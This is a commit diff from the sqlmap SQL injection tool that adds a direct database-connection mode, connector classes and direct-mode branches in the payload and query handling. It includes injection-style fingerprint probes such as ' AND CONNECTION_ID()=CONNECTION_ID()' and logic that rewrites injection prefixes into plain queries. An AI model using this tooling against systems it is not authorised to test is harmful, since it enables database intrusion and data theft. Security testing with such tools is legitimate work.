mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-01-24 08:14:24 +03:00
Major enhancement to directly connect to the dbms without passing via a sql injection: adapted code accordingly - see #158. This feature relies on python third-party libraries to be able to connect to the database. For the moment it has been implemented for MySQL (with python-mysqldb module) and PostgreSQL (with python-psycopg2 module).
Minor layout adjustments.
This commit is contained in:
parent
4ca1adba2c
commit
1416cd0d86
|
@ -43,7 +43,7 @@ def action():
|
|||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
conf.dbmsHandler = setHandler()
|
||||
setHandler()
|
||||
|
||||
if not conf.dbmsHandler:
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
|
@ -166,3 +166,6 @@ def action():
|
|||
# Miscellaneous options
|
||||
if conf.cleanup:
|
||||
conf.dbmsHandler.cleanup()
|
||||
|
||||
if conf.direct:
|
||||
conf.dbmsConnector.close()
|
||||
|
|
|
@ -76,7 +76,7 @@ def __selectInjection(injData):
|
|||
return "Quit"
|
||||
|
||||
else:
|
||||
warnMsg = "Invalid choice, retry"
|
||||
warnMsg = "invalid choice, retry"
|
||||
logger.warn(warnMsg)
|
||||
__selectInjection(injData)
|
||||
|
||||
|
@ -92,6 +92,13 @@ def start():
|
|||
if not conf.start:
|
||||
return
|
||||
|
||||
if conf.direct:
|
||||
initTargetEnv()
|
||||
setupTargetEnv()
|
||||
action()
|
||||
|
||||
return
|
||||
|
||||
if conf.url:
|
||||
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
|
||||
|
||||
|
@ -104,9 +111,9 @@ def start():
|
|||
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
|
||||
logger.info(infoMsg)
|
||||
|
||||
hostCount = 0
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
hostCount = 0
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
|
||||
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
|
||||
try:
|
||||
|
|
|
@ -34,12 +34,19 @@ from lib.core.settings import ACCESS_ALIASES
|
|||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||
from plugins.dbms.sqlite import SQLiteMap
|
||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||
from plugins.dbms.access import AccessMap
|
||||
from plugins.dbms.access.connector import Connector as AccessConn
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
|
@ -50,16 +57,16 @@ def setHandler():
|
|||
count = 0
|
||||
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird" )
|
||||
dbmsMap = (
|
||||
( MYSQL_ALIASES, MySQLMap ),
|
||||
( ORACLE_ALIASES, OracleMap ),
|
||||
( PGSQL_ALIASES, PostgreSQLMap ),
|
||||
( MSSQL_ALIASES, MSSQLServerMap ),
|
||||
( SQLITE_ALIASES, SQLiteMap ),
|
||||
( ACCESS_ALIASES, AccessMap ),
|
||||
( FIREBIRD_ALIASES, FirebirdMap ),
|
||||
( MYSQL_ALIASES, MySQLMap, MySQLConn ),
|
||||
( ORACLE_ALIASES, OracleMap, OracleConn ),
|
||||
( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
|
||||
( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
|
||||
( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
|
||||
( ACCESS_ALIASES, AccessMap, AccessConn ),
|
||||
( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
|
||||
)
|
||||
|
||||
for dbmsAliases, dbmsEntry in dbmsMap:
|
||||
for dbmsAliases, dbmsMap, dbmsConn in dbmsMap:
|
||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||
debugMsg = "skipping test for %s" % dbmsNames[count]
|
||||
logger.debug(debugMsg)
|
||||
|
@ -68,12 +75,15 @@ def setHandler():
|
|||
|
||||
continue
|
||||
|
||||
handler = dbmsEntry()
|
||||
handler = dbmsMap()
|
||||
conf.dbmsConnector = dbmsConn()
|
||||
|
||||
if handler.checkDbms():
|
||||
if not conf.dbms or conf.dbms in dbmsAliases:
|
||||
kb.dbmsDetected = True
|
||||
|
||||
return handler
|
||||
conf.dbmsHandler = handler
|
||||
|
||||
return None
|
||||
return
|
||||
else:
|
||||
conf.dbmsConnector = None
|
||||
|
|
|
@ -44,12 +44,25 @@ class Agent:
|
|||
temp.start = randomStr(6)
|
||||
temp.stop = randomStr(6)
|
||||
|
||||
def payloadDirect(self, query):
|
||||
if query.startswith(" AND "):
|
||||
query = query.replace(" AND ", "SELECT ")
|
||||
elif query.startswith(" UNION ALL "):
|
||||
query = query.replace(" UNION ALL ", "")
|
||||
elif query.startswith("; "):
|
||||
query = query.replace("; ", "")
|
||||
|
||||
return query
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
"""
|
||||
|
||||
if conf.direct:
|
||||
return self.payloadDirect(newValue)
|
||||
|
||||
falseValue = ""
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
|
@ -83,6 +96,9 @@ class Agent:
|
|||
return retValue
|
||||
|
||||
def fullPayload(self, query):
|
||||
if conf.direct:
|
||||
return self.payloadDirect(query)
|
||||
|
||||
query = self.prefixQuery(query)
|
||||
query = self.postfixQuery(query)
|
||||
payload = self.payload(newValue=query)
|
||||
|
@ -96,6 +112,9 @@ class Agent:
|
|||
identified as valid
|
||||
"""
|
||||
|
||||
if conf.direct:
|
||||
return self.payloadDirect(string)
|
||||
|
||||
query = ""
|
||||
|
||||
if conf.prefix:
|
||||
|
@ -123,6 +142,9 @@ class Agent:
|
|||
SQL injection request
|
||||
"""
|
||||
|
||||
if conf.direct:
|
||||
return self.payloadDirect(string)
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
|
|
|
@ -47,12 +47,21 @@ from lib.core.data import temp
|
|||
from lib.core.convert import urlencode
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapMissingDependence
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.settings import DESCRIPTION
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import SQLITE_ALIASES
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
|
||||
def paramToDict(place, parameters=None):
|
||||
"""
|
||||
|
@ -586,10 +595,62 @@ def weAreFrozen():
|
|||
|
||||
return hasattr(sys, "frozen")
|
||||
|
||||
def parseTargetDirect():
|
||||
"""
|
||||
Parse target dbms and set some attributes into the configuration singleton.
|
||||
"""
|
||||
|
||||
if not conf.direct:
|
||||
return
|
||||
|
||||
details = None
|
||||
|
||||
for dbms in SUPPORTED_DBMS:
|
||||
details = re.search("^(%s)://(.+?)\:(.+?)\@(.+?)\:([\d]+)\/(.+?)$" % dbms, conf.direct, re.I)
|
||||
|
||||
if details:
|
||||
conf.dbms = details.group(1)
|
||||
conf.dbmsUser = details.group(2)
|
||||
conf.dbmsPass = details.group(3)
|
||||
conf.hostname = details.group(4)
|
||||
conf.port = int(details.group(5))
|
||||
conf.dbmsDb = details.group(6)
|
||||
|
||||
conf.parameters[None] = "direct connection"
|
||||
|
||||
break
|
||||
|
||||
if not details:
|
||||
errMsg = "invalid target details, valid syntax is for instance: mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
# TODO: add details for others python DBMS libraries
|
||||
dbmsDict = { "Microsoft SQL Server": [MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"],
|
||||
"MySQL": [MYSQL_ALIASES, "python-mysqldb", "http://mysql-python.sourceforge.net/"],
|
||||
"PostgreSQL": [PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/"],
|
||||
"Oracle": [ORACLE_ALIASES, "", ""],
|
||||
"SQLite": [SQLITE_ALIASES, "", ""],
|
||||
"Access": [ACCESS_ALIASES, "", ""],
|
||||
"Firebird": [FIREBIRD_ALIASES, "", ""] }
|
||||
|
||||
for dbmsName, data in dbmsDict.items():
|
||||
if conf.dbms in data[0]:
|
||||
try:
|
||||
if dbmsName == "Microsoft SQL Server":
|
||||
import pymssql
|
||||
elif dbmsName == "MySQL":
|
||||
import MySQLdb
|
||||
elif dbmsName == "PostgreSQL":
|
||||
import psycopg2
|
||||
except ImportError, _:
|
||||
errMsg = "sqlmap requires %s third-party library " % data[1]
|
||||
errMsg += "in order to directly connect to the database "
|
||||
errMsg += "%s. Download from %s" % (dbmsName, data[2])
|
||||
raise sqlmapMissingDependence, errMsg
|
||||
|
||||
def parseTargetUrl():
|
||||
"""
|
||||
Parse target url and set some attributes into the configuration
|
||||
singleton.
|
||||
Parse target url and set some attributes into the configuration singleton.
|
||||
"""
|
||||
|
||||
if not conf.url:
|
||||
|
|
|
@ -32,6 +32,8 @@ import sys
|
|||
import struct
|
||||
import urllib
|
||||
|
||||
from lib.core.data import conf
|
||||
|
||||
def base64decode(string):
|
||||
return string.decode("base64")
|
||||
|
||||
|
@ -77,6 +79,9 @@ def urldecode(string):
|
|||
return result
|
||||
|
||||
def urlencode(string, safe=":/?%&=", convall=False):
|
||||
if conf.direct:
|
||||
return string
|
||||
|
||||
result = None
|
||||
|
||||
if string is None:
|
||||
|
|
|
@ -92,7 +92,7 @@ class Dump:
|
|||
if isinstance(element, str):
|
||||
self.__write("[*] %s" % element)
|
||||
elif isinstance(element, (list, tuple, set)):
|
||||
self.__write("[*] " + ", ".join(e for e in element))
|
||||
self.__write("[*] " + ", ".join(str(e) for e in element))
|
||||
|
||||
if elements:
|
||||
self.__write("")
|
||||
|
@ -321,11 +321,11 @@ class Dump:
|
|||
info = tableValues[column]
|
||||
value = info["values"][i]
|
||||
|
||||
if re.search("^[\ *]*$", value):
|
||||
if re.search("^[\ *]*$", str(value)):
|
||||
value = "NULL"
|
||||
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(value))
|
||||
blank = " " * (maxlength - len(str(value)))
|
||||
self.__write("| %s%s" % (value, blank), n=False)
|
||||
|
||||
if not conf.multipleTargets and field == fields:
|
||||
|
|
|
@ -37,6 +37,7 @@ from ConfigParser import ConfigParser
|
|||
from lib.core.common import getFileType
|
||||
from lib.core.common import normalizePath
|
||||
from lib.core.common import ntToPosixSlashes
|
||||
from lib.core.common import parseTargetDirect
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
|
@ -58,6 +59,9 @@ from lib.core.settings import MSSQL_ALIASES
|
|||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import SQLITE_ALIASES
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import SITE
|
||||
|
@ -493,7 +497,10 @@ def __setDBMS():
|
|||
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||
"|".join([alias for alias in ORACLE_ALIASES]),
|
||||
"|".join([alias for alias in SQLITE_ALIASES]),
|
||||
"|".join([alias for alias in ACCESS_ALIASES]),
|
||||
"|".join([alias for alias in FIREBIRD_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
|
@ -861,6 +868,7 @@ def __setConfAttributes():
|
|||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = None
|
||||
conf.dbmsConnector = None
|
||||
conf.dbmsHandler = None
|
||||
conf.dumpPath = None
|
||||
conf.httpHeaders = []
|
||||
|
@ -1045,28 +1053,30 @@ def init(inputOptions=advancedDict()):
|
|||
__setConfAttributes()
|
||||
__setKnowledgeBaseAttributes()
|
||||
__cleanupOptions()
|
||||
|
||||
__setRequestFromFile()
|
||||
|
||||
parseTargetUrl()
|
||||
parseTargetDirect()
|
||||
|
||||
if conf.url or conf.list or conf.requestFile or conf.googleDork:
|
||||
__setHTTPTimeout()
|
||||
__setHTTPCookies()
|
||||
__setHTTPReferer()
|
||||
__setHTTPUserAgent()
|
||||
__setHTTPExtraHeaders()
|
||||
__setHTTPMethod()
|
||||
__setHTTPAuthentication()
|
||||
__setHTTPProxy()
|
||||
__setUnionTech()
|
||||
__setGoogleDorking()
|
||||
__setMultipleTargets()
|
||||
__urllib2Opener()
|
||||
__setDBMS()
|
||||
|
||||
__setHTTPTimeout()
|
||||
__setHTTPCookies()
|
||||
__setHTTPReferer()
|
||||
__setHTTPUserAgent()
|
||||
__setHTTPExtraHeaders()
|
||||
__setHTTPMethod()
|
||||
__setHTTPAuthentication()
|
||||
__setHTTPProxy()
|
||||
__setThreads()
|
||||
__setDBMS()
|
||||
__setOS()
|
||||
__setUnionTech()
|
||||
__setWriteFile()
|
||||
__setMetasploit()
|
||||
__setGoogleDorking()
|
||||
__setMultipleTargets()
|
||||
__urllib2Opener()
|
||||
|
||||
update()
|
||||
queriesParser()
|
||||
|
|
|
@ -25,6 +25,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
optDict = {
|
||||
# Family: { "parameter_name": "parameter_datatype" },
|
||||
"Target": {
|
||||
"direct": "string",
|
||||
"url": "string",
|
||||
"list": "string",
|
||||
"requestFile": "string",
|
||||
|
|
|
@ -43,6 +43,10 @@ def __setRequestParams():
|
|||
HTTP method POST.
|
||||
"""
|
||||
|
||||
if conf.direct:
|
||||
conf.parameters[None] = "direct connection"
|
||||
return
|
||||
|
||||
__testableParameters = False
|
||||
|
||||
# Perform checks on GET parameters
|
||||
|
|
|
@ -48,6 +48,9 @@ def cmdLineParser():
|
|||
"options has to be specified to set the source "
|
||||
"to get target urls from.")
|
||||
|
||||
target.add_option("-d", dest="direct", help="Direct "
|
||||
"connection to the database")
|
||||
|
||||
target.add_option("-u", "--url", dest="url", help="Target url")
|
||||
|
||||
target.add_option("-l", dest="list", help="Parse targets from Burp "
|
||||
|
@ -437,8 +440,8 @@ def cmdLineParser():
|
|||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
if not args.url and not args.list and not args.googleDork and not args.configFile and not args.requestFile and not args.updateAll:
|
||||
errMsg = "missing a mandatory parameter ('-u', '-l', '-r', '-g', '-c' or '--update'), "
|
||||
if not args.direct and not args.url and not args.list and not args.googleDork and not args.configFile and not args.requestFile and not args.updateAll:
|
||||
errMsg = "missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c' or '--update'), "
|
||||
errMsg += "-h for help"
|
||||
parser.error(errMsg)
|
||||
|
||||
|
|
|
@ -38,6 +38,7 @@ from lib.core.data import kb
|
|||
from lib.core.data import logger
|
||||
from lib.core.common import sanitizeAsciiString
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.request.basic import decodePage
|
||||
from lib.request.basic import forgeHeaders
|
||||
from lib.request.basic import parseResponse
|
||||
|
@ -263,6 +264,38 @@ class Connect:
|
|||
string match check ('--string' command line parameter)
|
||||
"""
|
||||
|
||||
if conf.direct:
|
||||
values = None
|
||||
select = False
|
||||
|
||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||
for sqlStatement in sqlStatements:
|
||||
if value.lower().startswith(sqlStatement) and sqlTitle == "SQL SELECT statement":
|
||||
select = True
|
||||
break
|
||||
|
||||
if select:
|
||||
values = conf.dbmsConnector.select(value)
|
||||
else:
|
||||
values = conf.dbmsConnector.execute(value)
|
||||
|
||||
if values is None or len(values) == 0:
|
||||
return None
|
||||
elif content:
|
||||
if len(values) == 1:
|
||||
if len(values[0]) == 1:
|
||||
return str(list(values)[0][0]), None
|
||||
else:
|
||||
return list(values), None
|
||||
else:
|
||||
return values, None
|
||||
else:
|
||||
for value in values:
|
||||
if value[0] == 1:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
get = None
|
||||
post = None
|
||||
cookie = None
|
||||
|
|
|
@ -37,6 +37,7 @@ from lib.core.data import logger
|
|||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.techniques.inband.union.use import unionUse
|
||||
from lib.techniques.blind.inference import bisection
|
||||
from lib.utils.resume import queryOutputLength
|
||||
|
@ -350,6 +351,32 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
|||
(if selected).
|
||||
"""
|
||||
|
||||
if conf.direct:
|
||||
expression = agent.payloadDirect(expression)
|
||||
values = None
|
||||
select = False
|
||||
|
||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||
for sqlStatement in sqlStatements:
|
||||
if expression.lower().startswith(sqlStatement) and sqlTitle == "SQL SELECT statement":
|
||||
select = True
|
||||
break
|
||||
|
||||
if select:
|
||||
values = conf.dbmsConnector.select(expression)
|
||||
else:
|
||||
values = conf.dbmsConnector.execute(expression)
|
||||
|
||||
if values is None or len(values) == 0:
|
||||
return None
|
||||
elif len(values) == 1:
|
||||
if len(values[0]) == 1:
|
||||
return str(list(values)[0][0])
|
||||
else:
|
||||
return list(values)
|
||||
else:
|
||||
return values
|
||||
|
||||
expression = cleanQuery(expression)
|
||||
expression = expandAsteriskForColumns(expression)
|
||||
value = None
|
||||
|
@ -387,6 +414,24 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
|||
def goStacked(expression, silent=False):
|
||||
expression = cleanQuery(expression)
|
||||
|
||||
if conf.direct:
|
||||
expression = agent.payloadDirect(expression)
|
||||
values = None
|
||||
select = False
|
||||
|
||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||
for sqlStatement in sqlStatements:
|
||||
if expression.lower().startswith(sqlStatement) and sqlTitle == "SQL SELECT statement":
|
||||
select = True
|
||||
break
|
||||
|
||||
if select:
|
||||
values = conf.dbmsConnector.select(expression)
|
||||
else:
|
||||
values = conf.dbmsConnector.execute(expression)
|
||||
|
||||
return None, None
|
||||
|
||||
debugMsg = "query: %s" % expression
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
|
|
@ -200,6 +200,9 @@ def unionTest():
|
|||
SQL injection vulnerability. The test is done up to 3*50 times
|
||||
"""
|
||||
|
||||
if conf.direct:
|
||||
return
|
||||
|
||||
if conf.uTech == "orderby":
|
||||
technique = "ORDER BY clause bruteforcing"
|
||||
else:
|
||||
|
|
|
@ -32,6 +32,9 @@ from lib.core.session import setStacked
|
|||
from lib.request import inject
|
||||
|
||||
def stackedTest():
|
||||
if conf.direct:
|
||||
return
|
||||
|
||||
if kb.stackedTest is not None:
|
||||
return kb.stackedTest
|
||||
|
||||
|
|
35
plugins/dbms/access/connector.py
Normal file
35
plugins/dbms/access/connector.py
Normal file
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage:
|
||||
User guide:
|
||||
API:
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
35
plugins/dbms/firebird/connector.py
Normal file
35
plugins/dbms/firebird/connector.py
Normal file
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage:
|
||||
User guide:
|
||||
API:
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
47
plugins/dbms/mssqlserver/connector.py
Normal file
47
plugins/dbms/mssqlserver/connector.py
Normal file
|
@ -0,0 +1,47 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
try:
|
||||
import pymssql
|
||||
except ImportError, _:
|
||||
pass
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: http://pymssql.sourceforge.net/
|
||||
User guide: http://pymssql.sourceforge.net/examples_pymssql.php
|
||||
API: http://pymssql.sourceforge.net/ref_pymssql.php
|
||||
Debian package: python-pymssql
|
||||
License: LGPL
|
||||
|
||||
Possible connectors: http://wiki.python.org/moin/SQL%20Server
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
89
plugins/dbms/mysql/connector.py
Normal file
89
plugins/dbms/mysql/connector.py
Normal file
|
@ -0,0 +1,89 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
try:
|
||||
import MySQLdb
|
||||
except ImportError, _:
|
||||
pass
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: http://mysql-python.sourceforge.net/
|
||||
User guide: http://mysql-python.sourceforge.net/MySQLdb.html
|
||||
API: http://mysql-python.sourceforge.net/MySQLdb-1.2.2/
|
||||
Debian package: python-mysqldb
|
||||
License: GPL
|
||||
|
||||
Possible connectors: http://wiki.python.org/moin/MySQL
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
self.connector = MySQLdb.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout)
|
||||
except MySQLdb.OperationalError, msg:
|
||||
raise sqlmapConnectionException, msg[1]
|
||||
|
||||
self.setCursor()
|
||||
self.connected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except MySQLdb.ProgrammingError, msg:
|
||||
logger.log(8, msg[1])
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
logger.debug(query)
|
||||
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (MySQLdb.OperationalError, MySQLdb.ProgrammingError), msg:
|
||||
logger.log(8, msg[1])
|
||||
except MySQLdb.InternalError, msg:
|
||||
raise sqlmapConnectionException, msg[1]
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
def select(self, query):
|
||||
self.execute(query)
|
||||
return self.fetchall()
|
||||
|
||||
def setCursor(self):
|
||||
self.cursor = self.connector.cursor()
|
||||
|
||||
def close(self):
|
||||
self.cursor.close()
|
||||
self.connector.close()
|
|
@ -154,6 +154,12 @@ class Fingerprint(GenericFingerprint):
|
|||
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
||||
"""
|
||||
|
||||
infoMsg = "testing MySQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.direct:
|
||||
conf.dbmsConnector.connect()
|
||||
|
||||
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||
setDbms("MySQL %s" % kb.dbmsVersion[0])
|
||||
|
||||
|
@ -165,11 +171,7 @@ class Fingerprint(GenericFingerprint):
|
|||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
infoMsg = "testing MySQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
|
||||
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
|
@ -203,7 +205,7 @@ class Fingerprint(GenericFingerprint):
|
|||
kb.dbmsVersion = [">= 5.5.0"]
|
||||
|
||||
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
||||
elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
|
||||
elif inject.getValue("SELECT MID(@@table_open_cache, 1, 1)", unpack=False):
|
||||
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
|
||||
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||
|
@ -216,11 +218,11 @@ class Fingerprint(GenericFingerprint):
|
|||
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
||||
|
||||
